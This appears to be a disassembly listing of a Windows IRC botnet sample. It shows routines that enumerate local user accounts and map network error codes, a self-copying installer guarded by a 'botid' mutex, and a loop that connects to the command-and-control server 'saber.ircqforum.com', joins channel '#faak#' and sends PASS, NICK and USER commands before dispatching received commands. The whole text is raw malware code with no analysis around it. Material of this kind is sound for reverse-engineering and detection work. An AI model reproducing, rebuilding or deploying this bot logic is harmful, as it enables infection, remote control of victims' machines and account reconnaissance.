push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
add esp, 20h
pop edi
pop ebx
jmp short loc_40E322
; ---------------------------------------------------------------------------
loc_40E2F6: ; CODE XREF: sub_40DF4E+35j
push eax
lea eax, [ebp+var_204]
push offset dword_42F008
push eax
call sub_4172B0
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40D679
add esp, 20h
loc_40E322: ; CODE XREF: sub_40DF4E+3A6j
cmp [ebp+var_4], 0
jz short loc_40E331
push [ebp+var_4]
call dword_43AE28
loc_40E331: ; CODE XREF: sub_40DF4E+40j
; sub_40DF4E+3D8j
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_40DF4E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E337 proc near ; CODE XREF: sub_40EE72+21F2p
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_40DC82
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 18h
loc_40E376: ; CODE XREF: sub_40E337+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_43AD00
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_40E3D7
cmp eax, 0EAh
jz short loc_40E3D7
push eax
push eax
call sub_40E4B7
pop ecx
push eax
lea eax, [ebp+var_218]
push offset dword_42F218
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 24h
jmp short loc_40E452
; ---------------------------------------------------------------------------
loc_40E3D7: ; CODE XREF: sub_40E337+62j
; sub_40E337+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_40E465
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_40E452
loc_40E3E9: ; CODE XREF: sub_40E337+EDj
cmp edi, esi
jz short loc_40E428
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_4 ; " %S"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_40E3E9
jmp short loc_40E452
; ---------------------------------------------------------------------------
loc_40E428: ; CODE XREF: sub_40E337+B4j
lea eax, [ebp+var_218]
push offset dword_42F1D4
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 1Ch
loc_40E452: ; CODE XREF: sub_40E337+9Ej
; sub_40E337+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_40E465
push edi
call dword_43AE28
xor edi, edi
mov [ebp+var_4], edi
loc_40E465: ; CODE XREF: sub_40E337+A5j
; sub_40E337+120j
cmp [ebp+var_C], 0EAh
jz loc_40E376
cmp edi, esi
jz short loc_40E47D
push edi
call dword_43AE28
loc_40E47D: ; CODE XREF: sub_40E337+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_40E337 endp
; =============== S U B R O U T I N E =======================================
sub_40E4B7 proc near ; CODE XREF: sub_40DAF0+41p
; sub_40DCE6+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_40E569
jz loc_40E562
cmp eax, 7Bh
ja short loc_40E52E
jz short loc_40E524
cmp eax, 5
jz short loc_40E51A
cmp eax, 8
jz short loc_40E510
cmp eax, 32h
jz short loc_40E506
cmp eax, 35h
jz short loc_40E4FC
cmp eax, 57h
jnz loc_40E5B8
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E4FC: ; CODE XREF: sub_40E4B7+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E506: ; CODE XREF: sub_40E4B7+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E510: ; CODE XREF: sub_40E4B7+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E51A: ; CODE XREF: sub_40E4B7+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E524: ; CODE XREF: sub_40E4B7+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E52E: ; CODE XREF: sub_40E4B7+1Aj
sub eax, 7Ch
jz short loc_40E55B
sub eax, 7C8h
jz short loc_40E554
dec eax
jz short loc_40E54A
dec eax
jnz short loc_40E5B8
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E54A: ; CODE XREF: sub_40E4B7+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E554: ; CODE XREF: sub_40E4B7+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E55B: ; CODE XREF: sub_40E4B7+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E562: ; CODE XREF: sub_40E4B7+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E569: ; CODE XREF: sub_40E4B7+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_40E5A2
jz short loc_40E59B
sub eax, 8ADh
jz short loc_40E5CD
dec eax
dec eax
jz short loc_40E594
dec eax
jz short loc_40E58D
dec eax
dec eax
jnz short loc_40E5B8
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E58D: ; CODE XREF: sub_40E4B7+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E594: ; CODE XREF: sub_40E4B7+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E59B: ; CODE XREF: sub_40E4B7+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E5A2: ; CODE XREF: sub_40E4B7+B9j
sub eax, 8CAh
jz short loc_40E5D4
sub eax, 17h
jz short loc_40E5CD
sub eax, 25h
jz short loc_40E5C6
sub eax, 29h
jz short loc_40E5BF
loc_40E5B8: ; CODE XREF: sub_40E4B7+35j
; sub_40E4B7+87j ...
push offset aAnUnknownError ; "An unknown error occurred."
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E5BF: ; CODE XREF: sub_40E4B7+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E5C6: ; CODE XREF: sub_40E4B7+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E5CD: ; CODE XREF: sub_40E4B7+C2j
; sub_40E4B7+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_40E5D9
; ---------------------------------------------------------------------------
loc_40E5D4: ; CODE XREF: sub_40E4B7+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_40E5D9: ; CODE XREF: sub_40E4B7+40j
; sub_40E4B7+4Aj ...
push offset dword_43F408
call sub_4172B0
pop ecx
mov eax, offset dword_43F408
pop ecx
retn
sub_40E4B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E5EB proc near ; CODE XREF: sub_40EE72+2231p
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_4199B9
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
call near ptr 27E0000h
nop
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_4199B9
lea eax, [ebp+var_718]
push eax
call sub_41999C
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_43ADA8
test eax, eax
jnz short loc_40E67B
mov esi, offset dword_43F204
push offset dword_42F568
push esi
call sub_4172B0
pop ecx
pop ecx
jmp short loc_40E6A4
; ---------------------------------------------------------------------------
loc_40E67B: ; CODE XREF: sub_40E5EB+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_40E4B7
pop ecx
mov esi, offset dword_43F204
push eax
push offset dword_42F530
push esi
call sub_4172B0
add esp, 14h
loc_40E6A4: ; CODE XREF: sub_40E5EB+8Ej
mov eax, esi
pop esi
leave
retn
sub_40E5EB endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp-0Ch], ebx
mov dword ptr [ebp-8], offset sub_40D3A5
push dword ptr [ebp-8]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_424058
call esi
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4CD5F0, eax
call esi
push eax
call sub_417302
pop ecx
call sub_40981F
push 2
call dword_43AE44
push 7530h
push offset aBotid ; "botid"
push ebx
push ebx
call near ptr 27F0318h
nop
push eax
nop
call near ptr 2660A8Fh
cmp eax, 102h
jnz short loc_40E726
push 1
nop
call near ptr 77E75CB5h
loc_40E726: ; CODE XREF: ___:0040E71Cj
lea eax, [ebp-884h]
push eax
push 202h
call dword_43AD10
cmp eax, ebx
mov [ebp-8], eax
jnz loc_40EB89
cmp byte ptr [ebp-884h], 2
jnz loc_40EB83
xor eax, eax
mov al, [ebp-883h]
cmp al, 2
jnz loc_40EB83
mov esi, 104h
lea eax, [ebp-3F0h]
push esi
push eax
nop
call near ptr 2620000h
lea eax, [ebp-2ECh]
push esi
push eax
push ebx
call near ptr 2720E52h
nop
push eax
nop
call near ptr 2670000h
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push ebx
lea eax, [ebp-2ECh]
push ebx
push eax
call sub_4192B8
add esp, 14h
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push offset aSS_2 ; "%s%s"
lea eax, [ebp-5F4h]
push esi
push eax
call sub_41782A
lea eax, [ebp-3F0h]
push eax
lea eax, [ebp-2ECh]
push eax
call sub_417880
add esp, 1Ch
test eax, eax
jnz loc_40E98C
cmp dword_42F5BC, ebx
mov esi, offset byte_42F674
jz short loc_40E824
push esi
xor edi, edi
call sub_417AB0
sub eax, 4
pop ecx
jz short loc_40E824
loc_40E801: ; CODE XREF: ___:0040E822j
call sub_41730C
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_42F674[edi], dl
inc edi
call sub_417AB0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_40E801
loc_40E824: ; CODE XREF: ___:0040E7F1j
; ___:0040E7FFj
lea eax, [ebp-3F0h]
push esi
push eax
lea eax, [ebp-1E8h]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_4172B0
add esp, 10h
lea eax, [ebp-1E8h]
push eax
nop
call near ptr 26A02F4h
cmp eax, 0FFFFFFFFh
jz short loc_40E864
lea eax, [ebp-1E8h]
push 80h
push eax
nop
call near ptr 2780000h
loc_40E864: ; CODE XREF: ___:0040E850j
mov esi, dword_424160
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
xor edi, edi
push eax
loc_40E87B: ; CODE XREF: ___:0040E8B2j
call esi
test eax, eax
jnz short loc_40E8B4
nop
call near ptr 2660B07h
cmp edi, ebx
jnz short loc_40E8B4
cmp eax, 20h
jz short loc_40E895
cmp eax, 5
jnz short loc_40E8B4
loc_40E895: ; CODE XREF: ___:0040E88Ej
push 1
pop edi
push 3A98h
nop
call near ptr 2610E88h
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
push eax
jmp short loc_40E87B
; ---------------------------------------------------------------------------
loc_40E8B4: ; CODE XREF: ___:0040E87Fj
; ___:0040E889j ...
lea eax, [ebp-1E8h]
push eax
call sub_40AB7C
pop ecx
lea eax, [ebp-1E8h]
push 7
push eax
nop
call near ptr 2780000h
push 10h
lea eax, [ebp-1Ch]
push ebx
push eax
call sub_417330
push 44h
lea eax, [ebp-64h]
pop esi
push esi
push ebx
push eax
call sub_417330
add esp, 18h
mov [ebp-64h], esi
mov dword ptr [ebp-58h], offset byte_436EDC
mov [ebp-34h], bx
push 1
pop esi
mov [ebp-38h], esi
call near ptr 27E0DDBh
nop
push eax
push esi
push 100000h
nop
call near ptr 2720807h
lea ecx, [ebp-2ECh]
push ecx
push eax
lea eax, [ebp-1E8h]
push eax
lea eax, [ebp-988h]
push offset dword_42F7EC
push eax
call sub_4172B0
add esp, 14h
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-64h]
push eax
lea eax, [ebp-3F0h]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp-988h]
push ebx
push eax
lea eax, [ebp-1E8h]
push eax
call near ptr 2760BE6h
nop
test eax, eax
jz short loc_40E98C
push 0C8h
nop
call near ptr 2610E88h
push dword ptr [ebp-1Ch]
mov esi, dword_424078
call esi
push dword ptr [ebp-18h]
call esi
call dword_43ACF8
push ebx
nop
call near ptr 77E75CB5h
loc_40E98C: ; CODE XREF: ___:0040E7E0j
; ___:0040E962j
cmp dword_4CD9D0, 2
jle short loc_40E9D8
mov eax, dword_4CD9D4
push dword ptr [eax+4]
call sub_41781F
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
nop
call near ptr 2660A8Fh
push esi
nop
call near ptr 26408F3h
mov eax, dword_4CD9D4
cmp [eax+8], ebx
jz short loc_40E9D8
push 7D0h
nop
call near ptr 2610E88h
mov eax, dword_4CD9D4
push dword ptr [eax+8]
nop
call near ptr 27E0CC0h
loc_40E9D8: ; CODE XREF: ___:0040E993j
; ___:0040E9BDj
cmp dword_42F5C0, ebx
jz short loc_40E9F5
cmp dword_43AE68, ebx
jnz short loc_40E9F5
lea eax, [ebp-5F4h]
push eax
call sub_40C1AE
pop ecx
loc_40E9F5: ; CODE XREF: ___:0040E9DEj
; ___:0040E9E6j
lea eax, [ebp-0E4h]
push offset dword_42F7C4
push eax
call sub_4172B0
push ebx
lea eax, [ebp-0E4h]
push ebx
push eax
call sub_416D5C
lea eax, [ebp-0E4h]
push eax
call sub_40BF6D
push 0B80h
push ebx
push offset dword_43FA70
call sub_417330
call sub_41730C
push 7Fh
push offset aSaber_ircqforu ; "saber.ircqforum.com"
push offset dword_4CD5FC
mov dword_4CD770, ebx
call sub_418C10
mov eax, dword_42F5A0
push 3Fh
mov edi, offset dword_4CD67C
push offset aFaak ; "#faak#"
push edi
mov dword_4CD74C, eax
call sub_418C10
push 3Fh
mov esi, offset dword_4CD6BC
push offset aSaad_ ; "saad."
push esi
call sub_418C10
add esp, 48h
mov dword_4CD750, ebx
loc_40EA83: ; CODE XREF: ___:0040EB29j
; ___:0040EB34j ...
mov [ebp-4], ebx
loc_40EA86: ; CODE XREF: ___:0040EADDj
cmp dword_43AE80, ebx
jnz short loc_40EAA4
lea eax, [ebp-20h]
push ebx
push eax
call dword_43ACDC
test eax, eax
jnz short loc_40EAA4
push 7530h
jmp short loc_40EAD0
; ---------------------------------------------------------------------------
loc_40EAA4: ; CODE XREF: ___:0040EA8Cj
; ___:0040EA9Bj
push offset dword_4CD5F8
mov dword_4CD76C, ebx
call sub_40EB92
cmp eax, 2
mov [ebp-8], eax
jz loc_40EB7E
cmp dword_4CD76C, ebx
jz short loc_40EACB
dec dword ptr [ebp-4]
loc_40EACB: ; CODE XREF: ___:0040EAC6j
push 0BB8h
loc_40EAD0: ; CODE XREF: ___:0040EAA2j
nop
call near ptr 2610E88h
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 6
jl short loc_40EA86
cmp dword ptr [ebp-8], 2
jz loc_40EB7E
cmp [ebp-0Ch], ebx
jz short loc_40EB2E
push 7Fh
push offset aSaber_ircqforu ; "saber.ircqforum.com"
push offset dword_4CD5FC
call sub_418C10
mov eax, dword_42F5A0
push 3Fh
push offset aFaak ; "#faak#"
push edi
mov dword_4CD74C, eax
call sub_418C10
push 3Fh
push offset aSaad_ ; "saad."
push esi
call sub_418C10
add esp, 24h
mov [ebp-0Ch], ebx
jmp loc_40EA83
; ---------------------------------------------------------------------------
loc_40EB2E: ; CODE XREF: ___:0040EAECj
cmp byte_42F650, bl
jz loc_40EA83
push 7Fh
push offset byte_42F650
push offset dword_4CD5FC
call sub_418C10
mov eax, dword_42F5A4
push 3Fh
push offset aFaak_0 ; "#faak#"
push edi
mov dword_4CD74C, eax
call sub_418C10
push 3Fh
push offset aSaad__0 ; "saad."
push esi
call sub_418C10
add esp, 24h
mov dword ptr [ebp-0Ch], 1
jmp loc_40EA83
; ---------------------------------------------------------------------------
loc_40EB7E: ; CODE XREF: ___:0040EABAj
; ___:0040EAE3j
call sub_416F25
loc_40EB83: ; CODE XREF: ___:0040E74Aj
; ___:0040E75Aj
call dword_43ACF8
loc_40EB89: ; CODE XREF: ___:0040E73Dj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EB92 proc near ; CODE XREF: ___:0040EAAFp
; DATA XREF: sub_40EE72+3B0Co
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_40EBB7: ; CODE XREF: sub_40EB92+E6j
; sub_40EB92+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_43AD98
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40ADCA
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40ECE4
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_417330
push 0
lea eax, [ebp+var_2C]
push dword_4CD760
push dword_42F5CC
push eax
call sub_415D01
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_440808
push edi
push eax
call sub_418C10
add esp, 28h
push 6
push 1
push 2
call dword_43AE18
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_4407FC[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_43AD40
cmp eax, 0FFFFFFFFh
jnz short loc_40EC7D
push esi
call dword_43AE30
call sub_40ADF3
push 7D0h
loc_40EC72: ; CODE XREF: sub_40EB92+146j
nop
call near ptr 2610E88h
jmp loc_40EBB7
; ---------------------------------------------------------------------------
loc_40EC7D: ; CODE XREF: sub_40EB92+CDj
lea eax, [ebp+var_18C]
push eax
push offset dword_42F7F8
call sub_40BFE1
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_40ECFA
add esp, 28h
mov edi, eax
push esi
call dword_43AE30
test edi, edi
jz loc_40EBB7
cmp edi, 1
jnz short loc_40ECDA
push 0DBBA0h
jmp short loc_40EC72
; ---------------------------------------------------------------------------
loc_40ECDA: ; CODE XREF: sub_40EB92+13Fj
cmp edi, 2
jz short loc_40ECE8
jmp loc_40EBB7
; ---------------------------------------------------------------------------
loc_40ECE4: ; CODE XREF: sub_40EB92+5Aj
xor eax, eax
jmp short loc_40ECF4
; ---------------------------------------------------------------------------
loc_40ECE8: ; CODE XREF: sub_40EB92+14Bj
push [ebp+var_34]
call sub_417078
pop ecx
push 2
pop eax
loc_40ECF4: ; CODE XREF: sub_40EB92+154j
pop edi
pop esi
leave
retn 4
sub_40EB92 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ECFA proc near ; CODE XREF: sub_40EB92+123p
var_1A10 = byte ptr -1A10h
var_A10 = byte ptr -0A10h
var_240 = byte ptr -240h
var_1A0 = byte ptr -1A0h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A10h
call sub_417B30
push ebx
push esi
push edi
xor ebx, ebx
push 2
mov [ebp+var_8], ebx
lea eax, [ebp+var_1A0]
pop ecx
loc_40ED18: ; CODE XREF: sub_40ECFA+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_40ED18
cmp byte_4CD768, bl
jz short loc_40ED3F
push offset byte_4CD768
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_40D633
add esp, 0Ch
loc_40ED3F: ; CODE XREF: sub_40ECFA+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_415D01
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_4172B0
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_43ADE8
cmp eax, 0FFFFFFFFh
jnz short loc_40EDA9
push [ebp+arg_0]
call dword_43AE30
push 1388h
call near ptr 2610E88h
nop
loc_40EDA2: ; CODE XREF: sub_40ECFA+D9j
; sub_40ECFA+153j
xor eax, eax
loc_40EDA4: ; CODE XREF: sub_40ECFA+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40EDA9: ; CODE XREF: sub_40ECFA+92j
; sub_40ECFA+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A10]
push esi
push ebx
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_1A10]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_43ADB0
test eax, eax
jle short loc_40EDA2
lea eax, [ebp+var_A10]
push eax
lea eax, [ebp+var_1A10]
push eax
call sub_40A868
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_40EDA9
lea edi, [ebp+var_A10]
loc_40EDFA: ; CODE XREF: sub_40ECFA+165j
push 1
pop esi
loc_40EDFD: ; CODE XREF: sub_40ECFA+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_240]
push eax
lea eax, [ebp+var_1A0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_40EE72
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_40EE40
push 7D0h
call near ptr 2610E88h
nop
jmp short loc_40EDFD
; ---------------------------------------------------------------------------
loc_40EE40: ; CODE XREF: sub_40ECFA+137j
cmp esi, 0FFFFFFFDh
jz short loc_40EE6A
cmp esi, 0FFFFFFFEh
jz short loc_40EE66
cmp esi, 0FFFFFFFFh
jz loc_40EDA2
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_40EDFA
jmp loc_40EDA9
; ---------------------------------------------------------------------------
loc_40EE66: ; CODE XREF: sub_40ECFA+14Ej
push 1
jmp short loc_40EE6C
; ---------------------------------------------------------------------------
loc_40EE6A: ; CODE XREF: sub_40ECFA+149j
push 2
loc_40EE6C: ; CODE XREF: sub_40ECFA+16Ej
pop eax
jmp loc_40EDA4
sub_40ECFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EE72 proc near ; CODE XREF: sub_40ECFA+12Ap
var_15B0 = byte ptr -15B0h
var_11B0 = byte ptr -11B0h
var_FB0 = byte ptr -0FB0h
var_DB0 = byte ptr -0DB0h
var_CB0 = byte ptr -0CB0h
var_CAC = byte ptr -0CACh
var_BAC = byte ptr -0BACh
var_BA8 = byte ptr -0BA8h
var_AA8 = byte ptr -0AA8h
var_A28 = byte ptr -0A28h
var_9C7 = byte ptr -9C7h
var_9C6 = byte ptr -9C6h
var_9C4 = byte ptr -9C4h
var_9C3 = byte ptr -9C3h
var_9BA = byte ptr -9BAh
var_9B8 = byte ptr -9B8h
var_9B6 = byte ptr -9B6h
var_9B5 = byte ptr -9B5h
var_928 = byte ptr -928h
var_90C = dword ptr -90Ch
var_908 = byte ptr -908h
var_804 = dword ptr -804h
var_800 = dword ptr -800h
var_7FC = byte ptr -7FCh
var_7F8 = dword ptr -7F8h
var_7F4 = byte ptr -7F4h
var_7F0 = dword ptr -7F0h
var_7EC = dword ptr -7ECh
var_7E8 = byte ptr -7E8h
var_780 = byte ptr -780h
var_774 = byte ptr -774h
var_770 = dword ptr -770h
var_76C = byte ptr -76Ch
var_768 = byte ptr -768h
var_75C = byte ptr -75Ch
var_73C = dword ptr -73Ch
var_738 = byte ptr -738h
var_710 = dword ptr -710h
var_708 = byte ptr -708h
var_6FC = dword ptr -6FCh
var_6F8 = byte ptr -6F8h
var_6F4 = byte ptr -6F4h
var_6F0 = dword ptr -6F0h
var_6EC = byte ptr -6ECh
var_6E8 = byte ptr -6E8h
var_6B8 = byte ptr -6B8h
var_681 = byte ptr -681h
var_680 = byte ptr -680h
var_678 = byte ptr -678h
var_670 = byte ptr -670h
var_66C = byte ptr -66Ch
var_668 = byte ptr -668h
var_5F8 = byte ptr -5F8h
var_5F4 = dword ptr -5F4h
var_5F0 = dword ptr -5F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_578 = dword ptr -578h
var_574 = dword ptr -574h
var_570 = dword ptr -570h
var_56C = dword ptr -56Ch
var_568 = dword ptr -568h
var_564 = dword ptr -564h
var_560 = dword ptr -560h
var_55C = byte ptr -55Ch
var_50C = dword ptr -50Ch
var_508 = byte ptr -508h
var_504 = dword ptr -504h
var_500 = byte ptr -500h
var_4F4 = dword ptr -4F4h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = byte ptr -4E8h
var_4C0 = byte ptr -4C0h
var_4A0 = dword ptr -4A0h
var_488 = byte ptr -488h
var_480 = dword ptr -480h
var_47C = dword ptr -47Ch
var_478 = dword ptr -478h
var_474 = dword ptr -474h
var_470 = dword ptr -470h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = byte ptr -45Ch
var_458 = byte ptr -458h
var_444 = byte ptr -444h
var_434 = byte ptr -434h
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_418 = byte ptr -418h
var_40C = dword ptr -40Ch
var_408 = byte ptr -408h
var_3FC = byte ptr -3FCh
var_3F8 = byte ptr -3F8h
var_3D8 = byte ptr -3D8h
var_3B4 = byte ptr -3B4h
